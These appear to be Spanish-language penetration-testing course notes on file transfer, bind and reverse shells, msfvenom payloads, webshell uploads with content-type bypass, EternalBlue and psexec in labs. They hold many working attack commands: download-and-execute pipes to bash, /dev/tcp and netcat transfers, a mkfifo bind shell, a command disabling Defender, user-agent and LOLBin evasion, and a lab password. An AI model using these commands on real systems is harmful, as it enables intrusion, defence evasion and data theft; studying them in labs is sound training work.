(New-Object Net.WebClient).UploadFile('ftp://IP/ftp-hosts', 'C:\ARCHIVO')

Podemos crear un archivo para automatizarlo como en la descarga:

echo open IP > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\ARCHIVO >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

Tenemos acceso a un sistema Linux (NIX04) y tenemos que subir archivos a (Pwnbox) otro sistema Linux

![[Pasted image 20260410234412.png]]

Base64 Encoding / Decodinf Download

Depende del tamaño que queramos transferir. Si es muy largo no podremos

En el sistema remoto miraremos el hash antes de codificarlo y despues lo codificaremos:

md5sum id_rsa
cat ARCHIVO |base64 -w 0;echo

Despues copiaremos este BASE64 lo pegaremos en nuestro sistema, lo decodificaremos y por ultimo miraremos el hash para ver que este integro:

echo -n 'BASE64' | base64 -d > ARCHIVO
md5sum id_rsa

Web Download con wget y curl

Podemos descargar archivos de una web usando estos comandos:

wget https://IP/ARCHIVO -O /tmp/ARCHIVO
curl -o /tmp/ARCHIVO https://IP/ARCHIVO

Fileless Attacks Using Linux

Debido a la forma en la que esta hecho Linux podemos hacerlo de muchas formas dependiendo del archivo que nos descarguemos

wget https://IP/ARCHIVO.sh -O /tmp/ARCHIVO.sh | bash
curl -o /tmp/ARCHIVO.py https://IP/ARCHIVO.py | python3
curl -o /tmp/ARCHIVO.pl https://IP/ARCHIVO.pl | perl

Download with Bash (/dev/tcp)

Habra veces que no tendremos comandos de file transfer conocidos. En estos casos podemos usar la propia naturaleza de bash

Nos conectamos al objetivo por el puerto donde tiene levantado la web, lo descargamos y lo leemos

exec 3<>/dev/tcp/IP/80
echo -e "GET /ARCHIVO HTTP/1.1\n\n">&3
cat <&3

SSH Downloads

Usaremos Secure Copy SCP que pemrite copiar archivos y derectorios entre dos host de forma segura

Primero vamos a levantar SSH si no lo esta ya en el sistema remoto

sudo systemctl enable ssh
sudo systemctl start ssh
netstat -lnpt

Descargamos el archivo usando scp desde nuestro host, podemos crear una cuenta temporal para subir nuestros archivos o usar con la que nos logueamos:

scp USER@IP:/ARCHIVO /RUTA_LOCAL

Como en los metodos de descarga podemos usar uploadserver para crear un servidor que nos permita subir archivos pero ahora hacia nuestro host

Descarmos uploadserver:

sudo python3 -m pip install --user uploadserver

Ahora creamos un certificado autofirmado que deberemos guardar en un archivo fuera de donde tenemos montado el webserver para que nadie pueda acceder a el

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'

![[Pasted image 20260411000902.png]]

Creamos el uploadserver:

mkdir webserver && cd webserver
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem

Desde el host destino subimos el archivo hacia nuestro host:

curl -X POST https://IP/upload -F 'files=@/ARCHIVO1' -F 'files=@/ARCHIVO2' --insecure

Alternativa usando Web File Transfer Method

Creamos nuestro servidor en nuestro host con python, php o ruby:

python3 -m http.server
python2.7 -m SimpleHTTPServer
php -S 0.0.0.0:8000
ruby -run -ehttpd . -p8000

Desde el host comprometido lo descargamos:

wget 192.168.49.128:8000/ARCHIVO

SCP Upload

Para subir un archivo con scp:

scp /ARCHIVO USER@IP:/RUTA/DESTINO/

Podemos crear un usuario temporal o subirlo con las creds del usuario con el que conseguimos acceso

En los sistemas objetivo podemos encontrar lenguajes como Python, PHP, Perl y Ruby En Windows podemos usar Cscript y Mshta para ejecutar codigo JS o VBScript

Python Descargar

1. Python2

   python2.7 -c ‘import urllib;urllib.urlretrieve (“https://IP/ARCHIVO”, “ARCHIVO”)’

2. Python3

   python3 -c ‘import urllib.request;urllib.request.urlretrieve(“https://IP/ARCHIVO”, “ARCHIVO”)’

3. Fileless

   python3 -c ‘import urllib.request;urllib.request.urlretrieve(“https://IP/ARCHIVO”, “ARCHIVO”).read().decode())’ | bash

PHP Descargar

1. Con File_get_contents()

	php -r '$file = file_get_contents("https://IP/ARCHIVO"); file_put_contents("ARCHIVO",$file);'

2. Con Fopen()

php -r 'const BUFFER = 1024; $fremote = fopen("https://IP/ARCHIVO", "rb"); $flocal = fopen("ARCHIVO", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'

3. Fileless

php -r '$lines = @file("https://IP/ARCHIVO"); foreach ($lines as $line_num => $line) { echo $line; }' | bash

Ruby Download

ruby -e 'require "net/http"; File.write("ARCHIVO", Net::HTTP.get(URI.parse("https://IP/ARCHIVO")))'

Perl Download

perl -e 'use LWP::Simple; getstore("https://IP/ARCHIVO", "ARCHIVO");'

JS

1. Crear un archivo wget.js con el siguiente codigo:

var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1"); WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false); 
WinHttpReq.Send(); 
BinStream = new ActiveXObject("ADODB.Stream"); 
BinStream.Type = 1; 
BinStream.Open(); 
BinStream.Write(WinHttpReq.ResponseBody); 
BinStream.SaveToFile(WScript.Arguments(1));

Despues lo ejecutamos:

cscript.exe /nologo wget.js https://IP/ARCHIVO ARCHIVO

VBScript

1. Crear un archivo wget.vbs con el siguiente codigo:

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm: Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET", WScript.Arguments.Item(0), False xHttp.Send with bStrm .type = 1 .open .write xHttp.responseBody .savetofile WScript.Arguments.Item(1), 2 end with

Despues lo ejecutamos:

cscript.exe /nologo wget.vbs https://IP/ARCHIVO ARCHIVO

Podemos usar como vimos antes el modulo de python uploadserver en el destino para subir un archivo. Este servidor usa metodos HTTP como GET, POST, PUT…

1. En el destino

python3 -m uploadserver

2. Desde nuestra maquina

python3 -c 'import requests;requests.post("http://IP:8000/upload",files={"files":open("ARCHIVO","rb")})'

Carga

1. Iniciar un listener netcat

ncat -l -p 8000 --recv-only > ARCHIVO

–recv-only cierra la conexion en cuanto se termine la transferencia

2. Desde nuestro host lo descargamos

ncat --send-only IP_VICTIMA 8000 < ARCHIVO

o con nc

1. Iniciar listener en la maquina victima

nc -l -p 8000 > ARCHIVO

2. En nuestra maquina

nc -q 0 IP_VICTIMA 8000 < ARCHIVO

Descarga

1. En nuestra maquina atacante ponemos un listener

nc -l -p 443 -q 0 < ARCHIVO

2. En la maquina objetivo

nc IP_ATACANTE 443 > ARCHIVO

o con netcat

1. Listener en nuestra maquina atacante

ncat -l -p 443 --send-only < SharpKatz.exe

2. En la maquina destino

ncat IP_ATACANTE 443 --recv-only > SharpKatz.exe

Sin netcat

1. Listener normal en nuestra maquina

nc -l -p 443 -q 0 < ARCHIVO

O en la victima

nc -l -p 8000 > ARCHIVO

2. Descarga desde la victima

cat < /dev/tcp/IP_ATACANTE/443 > ARCHIVO

O desde nuestra maquina

cat < /dev/tcp/IP_OBJETIVO/8000 > ARCHIVO

Abra veces que no nos deje ni por HTTP, SMB, FTP… En este caso usaremos Powershell Remoting (WinRM)

Puertos : 5985 HTTP and 5986 HTTPS

Para acceder a WinRM debemos ser parte del grupo de Remote Management Users o tener permisos explicitos para PowerShell Remoting

En este ejemplo tenemos un usuario Administrator en DC01 que tiene permisos de admin en DATABASE01 y Powershell Remoting habilitado

1. Confirmar WinRM port 5985 esta abierto en DATABASE01 con Test-NetConnection

Desde DC01

Test-NetConnection -ComputerName DATABASE01 -Port 5985

![[Pasted image 20260411123443.png]]

2. Crear una Powershell Remoting session hacia DATABASE01

$Session = New-PSSession -ComputerName DATABASE01

3. Copiar algo desde nuestro host hacia el host remoto

Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\

4. Copiar algo desde el host remoto hacia nosotros

Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session

RDP

Al usar xfreerdp o rdesktop podemos hacer copia y pega normal pero a veces no funciona

En esos casos creamos un carpeta compartida entre sesiones

Rdesktop:

rdesktop IP -d DOMINIO -u USER -p 'PASS' -r disk:linux='/RUTA/COMPARTIDA'

Xfreerdp:

xfreerdp /v:IP /d:DOMINIO /u:USER /p:'PASS' /drive:linux,/RUTA/COMPARTIDA

Obtendremos un directorio \\tsclient\

![[Pasted image 20260411124420.png]]

RDP desde Windows

Podemos usar mstsc.exe

Local Resources > Local devices and resources + More > Seleccionas la carpeta para compartir

![[Pasted image 20260411124718.png]]

Despues le damos introducimos IP, usuario… y le damos a Connect

Para datos protegidos es imprescindible cifrar el contenido o usar servicios cifrados como SSH, SFTP… Con esto evitamos que un MITM lea los datos

Encriptacion en Windows

Uno de los mas simples es usar Invoke-AESEncryption.ps1

1. Primero debemos invocar el modulo en el host en el que estemos:

Import-Module .\Invoke-AESEncryption.ps1

2. Encriptarlo y creara un archivo .aes

Invoke-AESEncryption -Mode Encrypt -Key "PASSWORD" -Path .\RUTA_ARCHIVO

3. Desencriptarlo

Invoke-AESEncryption -Mode Decrypt -Key "PASSWORD" -Path .\RUTA_ARCHIVO.aes

Encriptacion en Linux

Podemos usar OpenSSL el cual tiene muchos metodos de cifrado como AES256 (OpenSSL man page)

1. Encriptar

openssl enc -aes256 -iter 100000 -pbkdf2 -in /RUTA_ARCHIVO -out NOMBRE_ARCHIVO.enc

• enc: modo cifrado
• -aes256: cifra en con el tipo de cifrado seleccionado (OpenSSL man page)
• -iter N: numero de iteraciones lo que hace que sea mas dificil a fuerza bruta
• -pbkdf2: pedira una contraseña de desencriptado por terminal, y con este parametro se modifica la contraseña en una clave criptografica valida para AES. Esto es mucho mas costoso para un atacante

3. Desencriptar

openssl enc -d -aes256 -iter 100000 -pbkdf2 -in NOMBRE_ARCHIVO.enc -out NOMBRE_aRCHIVO.txt

-d: desencriptar

HTTP/S suelen ser los metodos mas permitidos en los firewalls y se cifran en transito

Python Method

Hemos visto como hacerlo en [[3. Uploads Operations]]

1. Python2

python -m SimpleHTTPServer 8080

2. Python3

python3 -m http.server 8080

Luego se usa wget, curl, certutil, navegacion por el browser…

Nginx Method

Se usa en sistemas Apache porque la configuracion es menos complicada y el modulo no entra en conflicto de seguridad con Apache

1. Crear directorio para manejar subidas de archivos

sudo mkdir -p /var/www/uploads/NOMBRE_DIRECTORIO

2. Cambiar el propietario a www-data

sudo chown -R www-data:www-data

3. Crear un archivo de configuracion en la ruta: /etc/nginx/sites-available/upload.conf

server { listen 9001; location /NOMBRE_DIRECTORIO/ { root /var/www/uploads; dav_methods PUT; } }

4. Crear un enlace simbolico del archivo de configuracion dentro del directorio sites-enabled

sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/

5. Iniciar Nginx

sudo systemctl restart nginx.service

6. Comprobar fallos

tail -2 /var/log/nginx/error.log

Vemos que el puerto 80 ya esta en uso

![[Pasted image 20260606225618.png]]

ss -lnpt | grep 80

Miramos a ver que proceso esta ocupando el puerto y cogemos el PID

![[Pasted image 20260606225723.png]]

ps -ef | grep 2811

Buscamos el proceso concreto y vemos que es "python -m websockify 80"

![[Pasted image 20260606225757.png]]

7. Eliminamos el archivo de configuracion por defecto de nginx que hace que se conecte por el puerto 80

sudo rm /etc/nginx/sites-enabled/default

8. Subimos el archivo al WebDAV creado en Nginx

curl -T /RUTA_ARCHIVO http://IP:9001/NOMBRE_DIRECTORIO/ARCHIVO.txt

-T: metodo PUT

9. Comprobamos que se ha subido

sudo tail -1 /var/www/uploads/SecretUploadDirectory/users.txt

• LOLBAS Project for Windows Binaries
• GTFOBins for Linux Binaries

Pueden ser usados para descargar, subir, ejecuar, leer, escribir y bypassear

LOLBAS

LOLBAS: para buscar los que se pueden usar para:

• Descargas –> /download
• Subidas –> /upload

![[Pasted image 20260607091935.png]]

Ejemplo con: CertReq.exe

1. Abrimos un listener netcat:

sudo nc -nlvp PUERTO

2. Upload:

certreq.exe -Post -config http://IP:PUERTO/NOMBRE_ARCHIVO c:\RUTA\ARCHIVO

3. Download:

CertReq -Post -config https://IP:PUERTO/ARCHIVO C:\RUTA\NOMBRE_ARCHIVO NOMBRE\ARCHIVO

Si hay un error con certreq puede que la version que tengamos no tenga el parametro POST. Actualizar: here

GTFOBins

GTFOBins for Linux Binaries: para buscar los que se pueden usar para:

• Descargas –> +file download
• Subidas –> +file upload

![[Pasted image 20260607092615.png]]

Ejemplo con: OpenSSL

DESCARGA:

1. Crear un certificado:

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

2. Crear un servidor

openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /RUTA/ARCHIVO

3. Descarga desde el otro lado

openssl s_client -connect IP:PUERTO -quiet > ARCHIVO

SUBIDA:

1. Crear un certificado:

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem

2. Crear un servidor

openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem > /RUTA/ARCHIVO

3. Upload desde el otro lado

openssl s_client -connect IP:PUERTO -quiet < ARCHIVO

Otros Ejemplos

BITSADMIN: Background Intelligent Transfer Service (BITS)

Usado para la descarga de archivos por HTTP y SMB:

HTTP:

1. Descarga desde CMD:

bitsadmin /transfer wcb /priority foreground http://IP:PUERTO/ARCHIVO C:\RUTA\NOMBRE_ARCHIVO

2. Descarga desde PS:

Import-Module bitstransfer; Start-BitsTransfer -Source "http://IP:PUERTO/ARCHIVO" -Destination "C:\RUTA\NOMBRE_ARCHIVO"

SMB:

1. Descarga desde CMD:

bitsadmin /transfer wcb /priority foreground \\IP\share\ARCHIVO C:\RUTA\NOMBRE_ARCHIVO

2. Descarga desde PS:

Import-Module bitstransferStart-BitsTransfer -Source "\\IP\share\ARCHIVO" -Destination "C:\RUTA\NOMBRE_ARCHIVO"

Usado para la subida HTTP y SMB:*

HTTP:

1. Subida desde CMD:

bitsadmin /transfer uploadjob /upload /priority foreground C:\RUTA\ARCHIVO http://IP:PUERTO/NOMBRE_ARCHIVO

2. Subida desde PS:

Import-Module bitstransfer  
Start-BitsTransfer -Source "C:\RUTA\ARCHIVO" -Destination http://IP:PUERTO/NOMBRE_ARCHIVO

SMB:

1. Subida desde CMD:

bitsadmin /transfer uploadjob /priority foreground C:\RUTA\ARCHIVO \\IP\share\NOMBRE_ARCHIVO

2. Subida desde PS:

Import-Module bitstransfer  
Start-BitsTransfer -Source "C:\RUTA\ARCHIVO" -Destination "\\IP\share\NOMBRE_ARCHIVO"

CERTUTIL

Es como el sustitutivo a wget

1. Descarga

certutil.exe -verifyctl -split -f http://IP:PUERTO/ARCHIVO NOMBRE_ARCHIVO

NO HAY METODO DE SUBIDA

Deteccion

Todo lo que se conecte mediante HTTP cliente/servidor tendra un UserAgent, ya sea mediante Python, Curl…

Las comapañias pueden crear whitelist de UserAgent para solo dejar operar algunos SOs, herramientas legitimas…

Explicacion de un User Agent:

![[Pasted image 20260607100409.png]]

Lista de User Agents existentes: here

Debemos usar User Agents que no parezcan sospechosos para ofuscar mas la actividad

Ejemplos de User Agent potencialmente maliciosos

1. Usar powershell (Invoke-WebRequest)

![[Pasted image 20260607100954.png]]

2. Certutil:

![[Pasted image 20260607100923.png]]

3. Bitsadmin

![[Pasted image 20260607101019.png]]

Evasion

Cambiar el UserAgent

1. Listar User Agents:

[Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl

2. Usamos por ejemplo el de Chrome

$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome

3. Descargamos

Invoke-WebRequest http://IP/ARCHIVO -UserAgent $UserAgent -OutFile "C:\RUTA\NOMBRE_ARCHIVO"

LOLBAS

Usar LOLBINS en vez de netcat u otras herramientas para no llamar la atencion o porque tengan una blacklist de herramientas que no se pueden usar

Visto en [[1. Living off the land]]

Ejemplo de descarga con GfxDownloadWrapper.exe

GfxDownloadWrapper.exe "http://IP/ARCHIVO" "C:\RUTA\ARCHIVO"

Validacion del shell con ps

ps

![[Pasted image 20260607161636.png]]

Validacion del shell con env

env

![[Pasted image 20260607161711.png]]

![[Pasted image 20260608092224.png]]

Le eviamos una shell a un listener que estara en el objetivo

Pasos

1. Listener en el objetivo

nc -nvlp PUERTO

2. Nos conectamos desde nuestra maquina atacante

nc -nv IP PUERTO

Ejemplos de bind shell EN EL OBJETIVO

1. Bash shell por TCP

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l IP PUERTO > /tmp/f

2. Nos conectamos

nc -nv IP PUERTO

Ejercicio

Desde la maquina objetivo creamos un listener:

![[Pasted image 20260608093843.png]]![[Pasted image 20260608093854.png]]

Desde la atacante nos conectamos: ![[Pasted image 20260608093955.png]]

![[Pasted image 20260608094024.png]]

El objetivo nos enviara una shell a nuestro listener que estara en nuestra maquina atacante

Pasos

1. Abrimos un listener en nuestra maquina atacante

sudo nc -lvnp 443

2. Creamos una conexion desde la maquina atacante hasta la maquina objetivo

Pongo el enlace porque no puedo pegar el comando ya que lo detecta como malware el AV

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md

3. Si da error en el host objetivo, desactivamos el AV

Set-MpPreference -DisableRealtimeMonitoring $true

Ejemplo practico

Nos conectamos a la maquina objetivo

![[Pasted image 20260608111701.png]]

Abrimos un listener en nuestra maquina atacante ![[Pasted image 20260608111849.png]]

Lanzamos el cmd como admin y ejecutamos el comando de reverse shell pero da error ![[Pasted image 20260608112519.png]]

Ya podemos ejecutar comandos ![[Pasted image 20260608112612.png]]

Ejemplo

nmap -sVC -Pn IP

![[Pasted image 20260608113454.png]]

Vamos a centrarnos en SMB 445:

msfconsole -q
search smb

![[Pasted image 20260608113627.png]]

Vemos muchos modulos pero eligiremos: 56 exploit/windows/smb/psexec

use 56
show options
set rhosts IP
set share SHARE
set SMBPass PASS
set SMBUser USERNAME
set LHOST IP
exploit

![[Pasted image 20260608113838.png]]

Hemos obtenido una reverse shell de meterpreter ya que las credenciales son validas y podemos loggearnos con el exploit prefabricado de psexec

Ejemplo practico

Enumeramos el host y vemos un 445 abierto

![[Pasted image 20260608114550.png]]

Vamos a enumerar sus recursos compartidos

![[Pasted image 20260608114817.png]]![[Pasted image 20260608114848.png]]

A parte de los por defecto vemos el ADMIN$. Nos conectaremos mediante psexec ya que tenemos las credenciales y un share al que conectarnos ![[Pasted image 20260608115042.png]]

Ya que tenemos las credenciales probamos a usar psexec para conectarnos ![[Pasted image 20260608115450.png]]![[Pasted image 20260608115759.png]]![[Pasted image 20260608115805.png]]![[Pasted image 20260608115815.png]]![[Pasted image 20260608115823.png]]

Obtenemos el filename ![[Pasted image 20260608120003.png]]

Podemos listar todos los payloads de MSFVenom:

msfvenom -l payloads

Diferencia entre payloads stage y stageless

Stage

Se dividen en 2 partes:

1. Pieza de codigo muy pequeña que se ejecuta primero (se conecta a nosostros, descarga el codigo o payload completo y lo ejecuta)
2. Payload real

Ejemplo: windows/meterpreter/reverse_tcp

Stageless

Se envia todo el payload junto. Es mas estable, menos problemas con EDR/firewalls…

Ejemplo: windows/x64/meterpreter_reverse_tcp

Diferencia

Esta en el nombre:

• Stage: meterpreter/reverse_tcp
• Sategeless: meterpreter_reverse_tcp

Construccion y ejecucion un stageless payload

1. Creamos el paylaod

msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PUERTO -f FORMATO > NOMBRE_ARCHIVO

2. Lo transferimos al sistema objetivo

![[Pasted image 20260608121438.png]]

3. Creamos un listener en nuestra maquina atacante

nc -nvlp PUERTO

4. Ejecutamos en la maquina objetivo y obtenemos el reverse shell

Lo suyo seria encriptarlo y ofuscarlo para que el AV no lo detecte

Tipos de Payloads para Windows:

• DLLs: archivo de libreria usado en SOs Microsoft para proveer codigo compartido y datos que pueden ser usados por varios programas a la vez
• Batch: scripts de texto basados en DOS usados por administradores de sistemas para realizar multiples tareas desde el commandline, acaban en .bat
• VBS: lenguaje de programacion liviano y usado como clientside en webservers para paginas dinamicas. Ya esta deshabilitado en muchos webservers pero se suele usar en ataques que requieren de interaccion del usuario como phisings
• MSI: .MSI es un archivo que sirve una base de datos de instalacion para el Windows Installer. Cuando se instala una aplicacion el instalador mira el .msi para ver entender los componentes requeridos y como encontrarlos
• Powershell: es un shell enviroment y un lenguaje de scripting basado en .NET

Cada uno tiene sus caracteristicas pero todos son ejecutables en el host

Ponen un ejemplo de eternablue que tiene un payload que te da un meterpreter a traves de psexec como antes

CMD vs Powershell

CMD es mas limitado pero podemos ejecutar cosas si creemos que las politicas pueden afectar a la ejecucion de los scripts u otras acciones

Powershell es mas completo: uso cmdlets, interaccionar con objetos .NET, interaccionar con cloud, uso de alias… Pero es mas ruidoso

Ejemplo practico

Escaneamos el host y vemos un 445 y vemos que es un Windows Server de 2016, puede que le afecten los EternalBlue

![[Pasted image 20260608134322.png]]

Lo probamos con MSF

![[Pasted image 20260608134631.png]] ![[Pasted image 20260608134650.png]]![[Pasted image 20260608134817.png]]

Consideraciones:

• Que distribucion de Linux esta corriendo
• Que shell y lenguajes de programacion
• Que funcion esta sirviendo el sistema para la red
• Que aplicacion esta hosteando
• Hay alguna vulnerabilidad para esta

Spawneando una shell interactiva

python -c 'import pty; pty.spawn("/bin/sh")'

Ejemplo practico: ganando acceso a una aplicacion vulnerable

Escaneamos los servicios del host ![[Pasted image 20260608150535.png]]

Vemos que tiene un apache corriendo en el 80 y 443. Si accedemos a la pagina web nos mete en un panel de login con un rConfig version 3.9.6:

![[Pasted image 20260608150652.png]]

Buscamos exploits y vemos uno en ExploitDB: ![[Pasted image 20260608150844.png]]

Lo buscamos en searchsploit: ![[Pasted image 20260608151334.png]]

Podemos probar a ver si existe en MSFConsole: ![[Pasted image 20260608151446.png]]![[Pasted image 20260608151708.png]]![[Pasted image 20260608151720.png]] ![[Pasted image 20260608151925.png]]

Dependera de los lenguajes y herramientas disponibles en el sistema. Podemos usar para saber que permisos tenemos:

sudo -l

Python

python -c 'import pty; pty.spawn("/bin/sh")'

/bin/sh o /bin/bash

/bin/sh
/bin/bash 

Perl

perl -e 'exec "/bin/sh";'

Ruby

ruby -e 'exec "/bin/sh"'

Lua

lua -e 'os.execute("/bin/sh")'

AWK

awk 'BEGIN {system("/bin/sh")}'

Find

find / -name nameoffile -exec /bin/awk 'BEGIN {system("/bin/sh")}' \;

o

find . -exec /bin/sh \; -quit

Vim

vim -c ':!/bin/sh'

o

vim
:set shell=/bin/sh
:shell

Webshell: Es una version de shell basada en navegador que podemos usar interactuar con el SO desde la web

Se encuentra una vulnerabilidad que permita subida de archivos y subimos un payload que nos dara capacidad de ejecucion remota de comandos una vez que se ejecute. Algunos webservers estan configurados para borrar uploads cada X tiempo

Laudanum

Es un repositorio de archivos inyectables en varios lenguajes que podemos copiar y modificar para correrlos en la victima:

/usr/share/laudanum

![[Pasted image 20260608154240.png]]

Ejemplo practico

Escaneamos los servicios que corren en el host: ![[Pasted image 20260608154729.png]]

Vemos un IIS y un Apache por los puertos 80 y 8080 respectivamente. Visitamos la pagina web: ![[Pasted image 20260608154607.png]]

Hacemos un fuzzing de directorios pero no encontramos nada: ![[Pasted image 20260608155043.png]]

Hacemos uno de vhosts, primero hay que saber el dominio:

![[Pasted image 20260608155649.png]]

No lo obtenemos, miramos en el codigo fuente: ![[Pasted image 20260608155710.png]]

Lo metemos en /etc/hosts

![[Pasted image 20260608155802.png]]

Encontramos otros vhost:

![[Pasted image 20260608155915.png]]

Lo metemos en /etc/hosts: ![[Pasted image 20260608160031.png]]

Vemos la opcion de subir archivos junto con archivos ASP: ![[Pasted image 20260608160106.png]]

Lo copiamos y modificamos poniendo nuestra IP ![[Pasted image 20260608160519.png]]

Lo subimos: ![[Pasted image 20260608160557.png]]

Vemos que se ha subido con ese nombre por lo que para visitarlo iremos a lo siguiente: ![[Pasted image 20260608160718.png]] ![[Pasted image 20260608160856.png]]

Antak webshell es un shell creado ASP creado dentro del proyecto Proyecto Nishang (un conjunto de herramientas PS ofensivas)

Ubicacion: /usr/share/nishang/Antak-WebShell

![[Pasted image 20260609201404.png]]

CARACTERISTICAS:

• Ejecuta cada comando como un nuevo proceso
• Permite ejecutar scripts en memoria y codificar los comandos que se envien

Ejemplo practico de Antak Webshell

Creamos una copia y modificamos el archivo:

![[Pasted image 20260609202014.png]]![[Pasted image 20260609202137.png]]

Modificamos /etc/host para que encuentre a status.inlanefreight.local ![[Pasted image 20260609202235.png]]

Subimos el archivo: ![[Pasted image 20260609202315.png]]![[Pasted image 20260609202332.png]]![[Pasted image 20260609202345.png]]

Visitamos el sitio donde se ha subido: ![[Pasted image 20260609202418.png]]![[Pasted image 20260609202427.png]]![[Pasted image 20260609202526.png]]

PHP es un lenguaje de programacion de uso general

Un ejemplo de uso PHP es el login de rConfig visto en modulos anteriores: ![[Pasted image 20260609202929.png]]

https://github.com/WhiteWinterWolf/ wwwolf-php-webshell (He tenido que poner un espacio para que no salte el AV)

Ejemplo practico

Credenciales default de rConfig: admin-admin

![[Pasted image 20260609203627.png]]

rConfig permite subir nuevos dispositivos en Device > Vendor > Add Vendor

![[Pasted image 20260609203824.png]]

Copiamos el webshell de php en la ruta actual para subirlo:

![[Pasted image 20260609204132.png]] ![[Pasted image 20260609204550.png]]

Le damos a save pero nos pone invalid file y es porque el servidor solo acepta jpg, gift… ![[Pasted image 20260609204606.png]]

Encendemos el burp para cambiar el Content Type a uno que pueda ser aceptado como “image/gif”: ![[Pasted image 20260609204809.png]]![[Pasted image 20260609204822.png]]

Volvemos a subir el webshell: ![[Pasted image 20260609204845.png]]

Obtenemos la solicitud de envio que estamos haciendo:

![[Pasted image 20260609204922.png]]

Cambiamos el Content Type de “application/x-php” a “image/gif” y lo enviamos con Forward: ![[Pasted image 20260609205010.png]]

Vemos que se ha añadido correctamente (ya podemos desactivar el proxy): ![[Pasted image 20260609205051.png]]![[Pasted image 20260609205111.png]]

Si ahora hacemos un fuzzing de directorios encontraremos varios pero el que nos interesa es image/: ![[Pasted image 20260609205409.png]]

Pero image/webshell php no sale. Seguimos buscando: ![[Pasted image 20260609205738.png]]

La ruta es /images/vendor/webshell php ![[Pasted image 20260609205806.png]]![[Pasted image 20260609205848.png]]

Credenciales para conectarse via RDP: htb-student / HTB_@cademy_stdnt!

![[Pasted image 20260609212922.png]]

Pasos:

HOST1: 172.16.1.11

1. Nos conectamos al foothold con las credenciales via RDP:

![[Pasted image 20260609213147.png]]

2. Miramos el archivo de las credenciales:

![[Pasted image 20260609214114.png]]

3. Comprobamos conexion y accedemos a la pagina web

![[Pasted image 20260609213240.png]] ![[Pasted image 20260609213727.png]] ![[Pasted image 20260609214151.png]]

4. Vamos a Manager App y metemos las credenciales de tomcat

![[Pasted image 20260609214240.png]]

5. Una vez dentro vemos el tipico form para subir archivos WAR por lo que creamos un reverse shell JSP (Java que ejecuta Apache) pero con extension WAR

![[Pasted image 20260609214624.png]] ![[Pasted image 20260609214733.png]]

6. Abrimos un listener por ese puerto y subimos el archivo: ![[Pasted image 20260609214851.png]]![[Pasted image 20260609214907.png]]

7. Verificamos que se ha subido y lo visitamos

![[Pasted image 20260609214940.png]]![[Pasted image 20260609215114.png]]![[Pasted image 20260609215128.png]]![[Pasted image 20260609215220.png]]

HOST2: blog.inlanefreight.local

1. Visitamos el sitio web:

![[Pasted image 20260609215439.png]]![[Pasted image 20260609215505.png]]

2. Le damos a login y ponemos la credenciales que hemos visto en el archivo:

![[Pasted image 20260609214114.png]]![[Pasted image 20260609215626.png]]

3. Una vez loggeados vemos que alguien ya encontro una vulnerabilidad conocida:

![[Pasted image 20260609215812.png]]![[Pasted image 20260609220002.png]]

4. Copiamos todo el codigo en un archivo .rb y lo movemos a la ruta de los scripts de MSF. Luego lo recargamos para que salga y lo usamos

![[Pasted image 20260609220412.png]]![[Pasted image 20260609220628.png]]![[Pasted image 20260609220645.png]]![[Pasted image 20260609220920.png]]

He mirado la IP en /etc/hosts

![[Pasted image 20260609221013.png]]

![[Pasted image 20260609221118.png]]![[Pasted image 20260609221128.png]]

5. Respuestas

![[Pasted image 20260609221157.png]]![[Pasted image 20260609221255.png]]

HOST3:

1. Abrimos el sitio web

![[Pasted image 20260609221613.png]] ![[Pasted image 20260609221634.png]]

2. Intentamos subir un shell aspx

![[Pasted image 20260609221850.png]]![[Pasted image 20260609222005.png]]![[Pasted image 20260609222027.png]]![[Pasted image 20260609222036.png]]

3. Navegamos a el ![[Pasted image 20260609222107.png]]![[Pasted image 20260609222140.png]]

No tenemos acceso para acceder a la ruta Admin ![[Pasted image 20260609222244.png]]

4. Escaneamos el host y vemos que es un Windows Server 2008 muy probablemente vulnerable a EternalBlue

![[Pasted image 20260609222442.png]]![[Pasted image 20260609222548.png]]![[Pasted image 20260609222932.png]]![[Pasted image 20260609223059.png]]

Modulos

ls /usr/share/metasploit-framework/module/

Sintaxis de los modulos

<TIPO> / <OS> / <SERVICE> / <NAME>
EJ: exploit/windows/ftp/scriptftp_list

Tipos:

• Auxiliary: escaneos, fuzzing, sniffing…
• Encoders asegura que los payloads esten intactos en el destino
• Exploits: explotan vulnerabilidades
• NOPs: no tienen codigo de operacion manteniendo el tamaño del payload constante entre ataques
• Payloads: codigo que se ejecuta de forma remota y vuelve a llamar a la maquina atacante con un shell
• Plugins: se pueden integrar scrips adicionales
• Post: amplia gama de modulos de recopliacion de info, pivoting…

Plugins

ls /usr/share/metasploit-framework/plugins/

Scripts

ls /usr/share/metasploit-framework/scripts/

Herramientas

ls /usr/share/metasploit-framework/tools/

Estrucutra

5 categorias principales:

• Enumeration

  • Validacion de servicios
    • Escaneo activo
    • Escaneo pasivo
  • Busqueda de vulnerabilidades

• Preparation

  • Auditacion de codigo
  • Checkeo de dependencias
